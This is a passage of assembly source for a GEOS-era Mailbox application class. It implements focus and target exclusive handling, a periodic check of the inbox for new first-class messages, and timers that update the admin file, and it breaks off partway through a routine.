SYNOPSIS: Callback to check an element of a specific list to see
if it contains an object within the given block, and to
delete the element if so.
CALLED BY: (INTERNAL) MARemoveBlockObjectsFromAllGcnListsCallback via
ChunkArrayEnum
PASS: ds:di = GCNListElement
cx = handle of object block whose objects are to
be removed
dx = non-zero if ObjEnableDetach needs to be called for
each object removed from a list
*ds:bp = app object
RETURN: carry set to stop enumerating (always clear)
DESTROYED: bx, si, di allowed
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 6/ 8/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MARemoveBlockObjectsCallback proc far
.enter
cmp ds:[di].GCNLE_item.handle, cx
jne done
;
; Found one -- just nuke the element. There should be nothing else we
; have to do.
;
call ChunkArrayDelete
call ObjMarkDirty ; mark chunk dirty, since we changed
; it...
tst dx
jz done
mov si, bp
call ObjEnableDetach
done:
clc
.leave
ret
MARemoveBlockObjectsCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMetaMupAlterFtvmcExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make sure we get and release the focus for the field, too
CALLED BY: MSG_META_MUP_ALTER_FTVMC_EXCL
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
^lcx:dx = object doing the asking
bp = MetaAlterFTVMCExclFlags
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: if grabbing, parent field will also grab
PSEUDO CODE/STRATEGY:
if grab,
call the superclass,
call GRAB_FOCUS_EXCL on ourselves
call GRAB_FOCUS_EXCL on our parent
if release,
call the superclass
queue ENSURE_ACTIVE_FT (modal not released yet)
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/23/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMetaMupAlterFtvmcExcl method dynamic MailboxApplicationClass,
MSG_META_MUP_ALTER_FTVMC_EXCL
.enter
push bp
mov di, offset MailboxApplicationClass
call ObjCallSuperNoLock
pop bp
test bp, mask MAEF_NOT_HERE
jnz done ; => doing it for ourselves,
; so do nothing else special
test bp, mask MAEF_GRAB
jz ensureActive
;
; When something below us grabs the focus or target, we need to grab
; it from our field and tell the field to grab it from the system, else
; our dialog boxes never get the focus or target.
;
ornf bp, mask MAEF_NOT_HERE
mov cx, ds:[LMBH_handle] ; ^lcx:dx <- object
mov dx, si ; doing the grabbing
mov ax, MSG_META_MUP_ALTER_FTVMC_EXCL
mov di, offset MailboxApplicationClass
push bp
call ObjCallSuperNoLock
pop bp
;
; We should only grab the focus for our field if there is currently
; no modal geode under the system object, or if we are the modal
; geode under the system object. This fixes the problem where we
; mistakenly grab the focus from a system modal dialog that appears
; above one of our system modal dialogs. The system modal geode is
; correctly set to the owning geode of the topmost system modal window
; in MSG_GEN_SYSTEM_NOTIFY_SYS_MODAL_WIN_CHANGE -- brianc 2/10/96
;
push bp
mov ax, MSG_GEN_SYSTEM_GET_MODAL_GEODE
call UserCallSystem ; ^lcx:dx = modal geode
pop bp
jcxz getFieldFocus ; no modal geode
cmp cx, ds:[LMBH_handle]
jne done ; we're not modal geode
cmp dx, si
jne done ; we're not modal geode
getFieldFocus:
call VisFindParent ; ^lbx:si <- field
movdw cxdx, bxsi ; ^lcx:dx <- grabby obj
mov ax, MSG_META_MUP_ALTER_FTVMC_EXCL
mov di, mask MF_FIXUP_DS ; (bp still has
; MAEF_NOT_HERE set)
EC < test bp, mask MAEF_NOT_HERE >
EC < ERROR_Z -1 >
EC < test bp, not mask MetaAlterFTVMCExclFlags >
EC < ERROR_NZ -1 >
call ObjMessage
done:
.leave
ret
ensureActive:
;
; When releasing, force-queue an ENSURE_ACTIVE_FT to ourselves so if
; there's nothing focusable under us, we release the thing. We have to
; force-queue because the modal-window grab hasn't been released at
; this point, and a direct call here would yield the thing that's
; releasing the focus being given it right back again.
;
mov ax, MSG_META_ENSURE_ACTIVE_FT
mov bx, ds:[LMBH_handle]
mov di, mask MF_FORCE_QUEUE
call ObjMessage
jmp done
MAMetaMupAlterFtvmcExcl endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMetaNotifyNoFocusWithinNode
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Look for something we can give the focus to, or release
our own focus grab if we can't find anything.
CALLED BY: MSG_META_NOTIFY_NO_FOCUS_WITHIN_NODE
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
We have nothing to which to give the focus, so release the
focus, then check with the field to see if it has any focus now.
if it doesn't, tell it to release the focus and invoke
ENSURE_ACTIVE_FT on the system object
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/23/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMetaNotifyNoFocusWithinNode method dynamic MailboxApplicationClass,
MSG_META_NOTIFY_NO_FOCUS_WITHIN_NODE
.enter
mov di, offset MailboxApplicationClass
call ObjCallSuperNoLock
;
; See if we found anything to give the focus to.
;
mov ax, MSG_VIS_FUP_QUERY_FOCUS_EXCL
call ObjCallInstanceNoLock
jcxz findDialogOnSystem
done:
.leave
ret
findDialogOnSystem:
;
; Standard code didn't find anything. Look for something of ours
; below the system object.
;
mov ax, MSG_VIS_QUERY_WINDOW
call ObjCallInstanceNoLock ; cx <- field window (because
; of the funky way these things
; work...)
jcxz releaseFocus ; if no window, then we can't
; do anything here but must be
; shutting down...
mov di, cx
push si
mov si, WIT_PARENT_WIN
call WinGetInfo ; ax <- system
mov_tr di, ax
mov bx, SEGMENT_CS
mov si, offset MAMetaNotifyNoFocusWithinNodeCallback
clr cx, dx ; cx <- no window found
; dx <- is_parent_win flag
call WinForEach
pop si
jcxz releaseFocus
;
; Ask our superclass to do it so we don't grab the focus away just
; because one of our dialogs has gone down...
;
mov bp, mask MAEF_FOCUS or mask MAEF_GRAB
mov ax, MSG_META_MUP_ALTER_FTVMC_EXCL
mov di, offset MailboxApplicationClass
call ObjCallSuperNoLock
jmp done
releaseFocus:
;
; Find the field on which we sit.
;
mov cx, ds:[LMBH_handle] ; ^lcx:dx <- us, for releasing
mov dx, si ; within the field
call VisFindParent
;
; Find who runs the thing.
;
mov ax, MGIT_EXEC_THREAD
call MemGetInfo
;
; Tell that thread to run our MAFutzWithFieldFocus routine to do this
; all synchronously.
;
CheckHack <PCRP_dataDI eq ProcessCallRoutineParams-2>
CheckHack <PCRP_dataSI eq ProcessCallRoutineParams-4>
CheckHack <PCRP_dataDX eq ProcessCallRoutineParams-6>
CheckHack <PCRP_dataCX eq ProcessCallRoutineParams-8>
CheckHack <PCRP_dataBX eq ProcessCallRoutineParams-10>
CheckHack <PCRP_dataAX eq ProcessCallRoutineParams-12>
push di, si, dx, cx, bx, ax
CheckHack <PCRP_address eq ProcessCallRoutineParams-16>
mov ax, vseg MAFutzWithFieldFocus
push ax
mov ax, offset MAFutzWithFieldFocus
push ax
CheckHack <ProcessCallRoutineParams eq 16>
mov bp, sp
mov dx, size ProcessCallRoutineParams
mov bx, ss:[bp].PCRP_dataAX ; bx <- burden thread
mov ax, MSG_PROCESS_CALL_ROUTINE
mov di, mask MF_FIXUP_DS or mask MF_CALL or mask MF_STACK
call ObjMessage
add sp, size ProcessCallRoutineParams
.leave
ret
MAMetaNotifyNoFocusWithinNode endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMetaNotifyNoFocusWithinNodeCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback function to find a window below the system object
that belongs to us, so we can give it the focus
CALLED BY: (INTERNAL) MAMetaNotifyNoFocusWithinNode via WinForEach
PASS: di = window to examine
dx = 0 if di is system window
RETURN: carry clear to keep processing:
di = next window to examine
dx = non-z
carry set if found something
^lcx:dx = window's input object
DESTROYED: ax, si
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/ 3/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMetaNotifyNoFocusWithinNodeCallback proc far
.enter
tst dx
jz isParent
mov bx, di
call MemOwner
cmp bx, handle 0
jne nextSib
;
; Found one of ours, so return its input object to be given the focus.
;
mov si, WIT_INPUT_OBJ
call WinGetInfo
stc
done:
.leave
ret
nextSib:
;
; Window isn't one of ours, so move to the next sibling.
;
mov si, WIT_NEXT_SIBLING_WIN
jmp getInfoAndContinue
isParent:
;
; Still at the system level -- get to the first child now we've got
; the tree semaphore grabbed and the tree can't be changing.
;
dec dx ; dx <- non-z (1-byte inst)
mov si, WIT_FIRST_CHILD_WIN
getInfoAndContinue:
call WinGetInfo ; ax <- window to process next
mov_tr di, ax ; no, make that DI
clc ; CF <- keep going, please
jmp done
MAMetaNotifyNoFocusWithinNodeCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAFutzWithFieldFocus
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Amusing little routine to synchronously release our focus
and make sure the field has something it can do, and release
its focus if not. This thing runs in the thread that runs
the field, so we can be sure we're not messing with anything
anyone else is doing when we do this.
CALLED BY: (INTERNAL) MAMetaNotifyNoFocusWithinNode via
Process::PROCESS_CALL_ROUTINE
PASS: ^lbx:si = field to futz with
^lcx:dx = our application object
RETURN: nothing
DESTROYED: everything
SIDE EFFECTS: guess
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/23/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAFutzWithFieldFocus proc far
.enter
;
; Tell the field to release the focus for our object.
;
mov ax, MSG_META_MUP_ALTER_FTVMC_EXCL
mov bp, mask MAEF_FOCUS or mask MAEF_OD_IS_WINDOW
mov di, mask MF_CALL
call ObjMessage
;
; Tell the field to make sure there's a focus node.
;
mov ax, MSG_META_ENSURE_ACTIVE_FT
mov di, mask MF_CALL
call ObjMessage
;
; Now see if it was able to find anything.
;
mov ax, MSG_META_GET_FOCUS_EXCL
mov di, mask MF_CALL
call ObjMessage
jcxz tellFieldToRelease ; => didn't
;
; It found something, so do nothing further.
;
done:
.leave
ret
tellFieldToRelease:
;
; The field has no focus in it, so tell it to release the focus
; (this doesn't seem to be the default behaviour, at least if the
; field has a notification OD, which the system one has [though I
; don't know why, since the UI doesn't respond to any of the
; notifications the field sends out...])
;
mov ax, MSG_META_RELEASE_FOCUS_EXCL
mov di, mask MF_CALL
call ObjMessage
;
; Now tell the system to make sure it's got a focus node.
;
mov ax, MSG_META_ENSURE_ACTIVE_FT
call UserCallSystem
jmp done
MAFutzWithFieldFocus endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMetaNotify
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Cheat by passing all geoworks notifications to the generic
UI's process to handle, as it knows better what to do about
having the focus when one isn't on the default field.
CALLED BY: MSG_META_NOTIFY
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
cx = ManufacturerID
dx = NotificationType
bp = data
RETURN: nothing
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/15/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMetaNotify method dynamic MailboxApplicationClass, MSG_META_NOTIFY,
MSG_META_NOTIFY_WITH_DATA_BLOCK
mov bx, handle ui
call GeodeGetAppObject
clr di
GOTO ObjMessage
MAMetaNotify endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAStartInboxCheckTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set up a one-shot timer that calls itself to check whether
there is any new unseen first-class messages added to the
inbox during this period.
CALLED BY: MSG_MA_SETUP_INBOX_CHECK_TIMER
PASS: *ds:si = MailboxApplicationClass object
ds:di = MailboxApplicationClass instance data
ax = message #
cx = # of timer ticks, or 0 to use current value
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 10/12/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAStartInboxCheckTimer method dynamic MailboxApplicationClass,
MSG_MA_START_INBOX_CHECK_TIMER
call TimerGetFileDateTime ; ax = FileDate, dx = FileTime
movdw ds:[di].MAI_lastCheckTime, dxax
add di, offset MAI_inboxCheckPeriod
mov ax, MSG_MA_CHECK_INBOX
FALL_THRU MAStartTimerCommon
MAStartInboxCheckTimer endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAStartTimerCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Common routine to start a one-shot timer.
CALLED BY: (INTERNAL) MAStartInboxCheckTimer, MAStartAdminFileUpdateTimer
PASS: *ds:si = MailboxApplicationClass object
ds:di = either MAI_inboxCheckPeriod or
MAI_adminFileUpdatePeriod
cx = # of timer ticks, or 0 to use current value
ax = message to send when timer expires
RETURN: nothing
DESTROYED: ax, bx, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 12/14/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAStartTimerCommon proc far
class MailboxApplicationClass
CheckHack <MAI_inboxCheckPeriod + size word eq MAI_inboxTimerHandle>
CheckHack <MAI_inboxCheckPeriod + 2 * size word eq MAI_inboxTimerID>
CheckHack <MAI_adminFileUpdatePeriod + size word eq \
MAI_adminFileUpdateTimerHandle>
CheckHack <MAI_adminFileUpdatePeriod + 2 * size word eq \
MAI_adminFileUpdateTimerID>
jcxz useCurrentPeriod
mov ds:[di], cx ; store new period in MAI_xxxPeriod
hasTicks:
;
; Start a timer.
;
mov_tr dx, ax ; dx = timer message
mov al, TIMER_EVENT_ONE_SHOT
mov bx, ds:[OLMBH_header].LMBH_handle ; ^lbx:si = self
call TimerStart
mov ds:[di + size word], bx ; store in MAI_xxxTimerHandle
mov ds:[di + 2 * size word], ax ; store in MAI_xxxTimerID
ret
useCurrentPeriod:
mov cx, ds:[di] ; get current period from MAI_xxxPeriod
jmp hasTicks
MAStartTimerCommon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MACheckInbox
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS Inform user if there are new first-class messages
CALLED BY: MSG_MA_CHECK_INBOX
PASS: ds:di = MailboxApplicationClass instance data
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 10/ 9/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MACheckInbox method dynamic MailboxApplicationClass, MSG_MA_CHECK_INBOX
lastCheckTime local FileDateAndTime \
push ds:[di].MAI_lastCheckTime.FDAT_time, \
ds:[di].MAI_lastCheckTime.FDAT_date
timerHandle local hptr \
push ds:[di].MAI_inboxTimerHandle
inboxQueueHandle local word
firstClassMsgCount local word
curMsg local MailboxMessage
.enter
;
; See if there's any first class message in the last check period.
;
segmov ds, dgroup, ax
assume ds:dgroup
clr ax
xchg ax, ds:[inboxNumFirstClassMessages]
tst ax
jz done
mov ss:[firstClassMsgCount], ax
;
; Traverse the inbox queue, starting from the end.
;
call AdminGetInbox ; ^vbx:di = inbox queoe
mov ss:[inboxQueueHandle], di
call DBQGetCount ; dxax = count
Assert e, dx, 0
mov_tr cx, ax ; cx = queue count
msgLoop:
jcxz done ; jump if we've reached the beginning
dec cx ; previous message
;
; See if message is registered within the last period.
;
mov di, ss:[inboxQueueHandle] ; ^vbx:di = inbox queue
call DBQGetItem ; dxax = MailboxMessage
movdw ss:[curMsg], dxax ; for releasing reference...
call MessageLock ; *ds:di = MMD
mov si, ds:[di]
movdw dxax, ds:[si].MMD_registered ; ax = FileDate, dx = FileTime
cmp ax, ss:[lastCheckTime].FDAT_date
jne afterCmpTime
cmp dx, ss:[lastCheckTime].FDAT_time
afterCmpTime:
jb tooOld
call MAMaybeShowInboxPanelForMessage
previous:
;
; loop to previous message in queue.
;
call UtilVMUnlockDS ; unlock message
movdw dxax, ss:[curMsg]
call DBQDelRef ; release ref added by DBQGetItem
tst ss:[firstClassMsgCount]
jnz msgLoop
done:
tst ss:[timerHandle]
jz exit ; => left over timer. Don't start
; another one.
;
; Start the timer again.
;
mov ax, MSG_MA_START_INBOX_CHECK_TIMER
clr cx ; use current value
call UtilSendToMailboxApp
exit:
.leave
ret
tooOld:
;
; This message is too old, so are all previous messages. Hence we
; can stop checking now.
;
clr cx ; a hack such that we will break out
; of the loop after unlocking the msg
jmp previous
MACheckInbox endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMaybeShowInboxPanelForMessage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: If the message is first-class and hasn't been seen before,
ask our application object to put up a panel to show it to
the user.
CALLED BY: (INTERNAL) MACheckInbox
PASS: *ds:di = MailboxMessageDesc
ds:si = same
bx = admin file
ss:bp = inherited frame
RETURN: nothing
DESTROYED: ax, dx, si, es, di
SIDE EFFECTS: ss:[firstClassMsgCount] may be decremented
message's destApp may change, if it was directed to a
previously-unknown-but-now-known alias token
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/19/94 Initial version (extracted from MACheckInbox)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMaybeShowInboxPanelForMessage proc near
uses cx
.enter inherit MACheckInbox
;
; See if this message is first-class.
;
mov ax, ds:[si].MMD_flags
; Make sure MailboxMessageFlags is in low byte of
; MailboxInternalMessageFlags
CheckHack <offset MIMF_EXTERNAL eq 0>
CheckHack <mask MailboxMessageFlags le 0xff>
andnf al, mask MMF_PRIORITY
cmp al, MMP_FIRST_CLASS shl offset MMF_PRIORITY
jne done
dec ss:[firstClassMsgCount] ; we've found one
;
; We've found a first-class message. Check if user has seen it before.
;
CheckHack <offset MIMF_NOTIFIED ge 8>
test ax, mask MIMF_NOTIFIED ; (still ok b/c only messed with
; low byte when checking prio)
jnz done ; jump if already notified
;
; Fetch the application name now so any alias token remapping happens
; before we try to put the control panel up.
;
push bx
mov bx, {word}ds:[si].MMD_destApp.GT_chars[0]
mov cx, {word}ds:[si].MMD_destApp.GT_chars[2]
mov dx, ds:[di].MMD_destApp.GT_manufID
call InboxGetAppName
call LMemFree
pop bx
mov si, ds:[di]
;
; This message should be displayed. Put up specific by-app panel.
;
mov dx, bx ; dx = admin file handle
lea si, ds:[si].MMD_destApp ; ds:si = GeodeToken of destApp
mov ax, size MailboxDisplayPanelCriteria
mov cx, ALLOC_DYNAMIC_NO_ERR_LOCK
call MemAlloc ; bx = hptr, ax = sptr
mov es, ax
CheckHack <offset MDPC_byApp.MDBAD_token eq 0>
clr di ; es:di = MDPC_byApp.MDBAD_token
CheckHack <(size GeodeToken and 1) eq 0>
mov cx, size GeodeToken / 2
rep movsw
call MemUnlock
xchg dx, bx ; ^hdx = criteria, bx = admin file
mov ax, MSG_MA_DISPLAY_INBOX_PANEL
mov cx, MDPT_BY_APP_TOKEN
call UtilSendToMailboxApp ; send to ourselves (let's be lazy :-)
done:
.leave
ret
MAMaybeShowInboxPanelForMessage endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAStopInboxCheckTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Stop any pending timer for inbox checking.
CALLED BY: MSG_MA_STOP_INBOX_CHECK_TIMER
PASS: ds:di = MailboxApplicationClass instance data
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 12/13/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAStopInboxCheckTimer method dynamic MailboxApplicationClass,
MSG_MA_STOP_INBOX_CHECK_TIMER
add di, offset MAI_inboxTimerHandle
FALL_THRU MAStopTimerCommon
MAStopInboxCheckTimer endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAStopTimerCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Common routine to stop a timer
CALLED BY: (INTERNAL) MAStopInboxCheckTimer, MAStopAdminFileUpdateTimer
PASS: ds:di = MAI_inboxTimerHandle or
MAI_adminFileUpdateTimerHandle
RETURN: nothing
DESTROYED: ax, bx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 12/14/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAStopTimerCommon proc far
class MailboxApplicationClass
CheckHack <MAI_inboxTimerHandle + size hptr eq MAI_inboxTimerID>
CheckHack <MAI_adminFileUpdateTimerHandle + size hptr eq \
MAI_adminFileUpdateTimerID>
clr bx
xchg bx, ds:[di] ; bx = timer handle
mov ax, ds:[di + size hptr] ; ax = timer ID
GOTO TimerStop
MAStopTimerCommon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAStartAdminFileUpdateTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Setup a timer that periodically updates the admin file on disk.
CALLED BY: MSG_MA_START_ADMIN_FILE_UPDATE_TIMER
PASS: *ds:si = MailboxApplicationClass object
ds:di = MailboxApplicationClass instance data
cx = # of timer ticks, or 0 to use current value
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 12/14/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAStartAdminFileUpdateTimer method dynamic MailboxApplicationClass,
MSG_MA_START_ADMIN_FILE_UPDATE_TIMER
add di, offset MAI_adminFileUpdatePeriod
CheckHack <MSG_MA_START_ADMIN_FILE_UPDATE_TIMER + 1 eq \
MSG_MA_UPDATE_ADMIN_FILE>
inc ax ; ax = MSG_MA_UPDATE_ADMIN_FILE
GOTO MAStartTimerCommon
MAStartAdminFileUpdateTimer endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAUpdateAdminFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Updates the VM file on disk, and starts the next timer.
CALLED BY: MSG_MA_UPDATE_ADMIN_FILE
PASS: ds:di = MailboxApplicationClass instance data
ax = message #
RETURN: nothing
DESTROYED: ax, cx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 12/14/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAUpdateAdminFile method dynamic MailboxApplicationClass,
MSG_MA_UPDATE_ADMIN_FILE
call UtilUpdateAdminFile
tst ds:[di].MAI_adminFileUpdateTimerHandle
jz done ; => left-over timer. Don't start
; another one.
;
; Start the timer again.
;
CheckHack <MSG_MA_UPDATE_ADMIN_FILE - 1 eq \
MSG_MA_START_ADMIN_FILE_UPDATE_TIMER>
dec ax ; ax = MSG_MA_START_ADMIN_FILE_UPDATE_TIMER
clr cx ; use current value
call UtilSendToMailboxApp
done:
ret
MAUpdateAdminFile endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAStopAdminFileUpdateTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Stop any pending timer for updating the admin file.
CALLED BY: MSG_MA_STOP_ADMIN_FILE_UPDATE_TIMER
PASS: ds:di = MailboxApplicationClass instance data
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 12/14/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAStopAdminFileUpdateTimer method dynamic MailboxApplicationClass,
MSG_MA_STOP_ADMIN_FILE_UPDATE_TIMER
add di, offset MAI_adminFileUpdateTimerHandle
GOTO MAStopTimerCommon
MAStopAdminFileUpdateTimer endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAUpdateAdminFileUrgent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Try to update the admin file again, after an update has just
failed due to locked VM blocks.
CALLED BY: MSG_MA_UPDATE_ADMIN_FILE_URGENT
PASS: ds:di = MailboxApplicationClass instance data
ax = message #
if sent by utility code (UtilUpdateAdminFile)
bp = 0
if sent by timer event
bp = timer ID
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
UtilUpdateAdminFile can be called many times within a short period
of time (from same or different thread) and they can all fail because
of locked blocks. In that case, we will be invoked many times both
from the timer and from utility code. Then we have to make sure we
either cancel or ignore the previous timer when we override it with a
new one, so that there won't be a dangling message if the system is
shutting down and the app object is going away.
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 5/22/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAUpdateAdminFileUrgent method dynamic MailboxApplicationClass,
MSG_MA_UPDATE_ADMIN_FILE_URGENT
mov_tr dx, ax ; dx = MSG_MA_UPDATE_ADMIN_FILE_URGENT
; for later TimerStart call
;
; If this is a left-over timer event (not the one we are expecting),
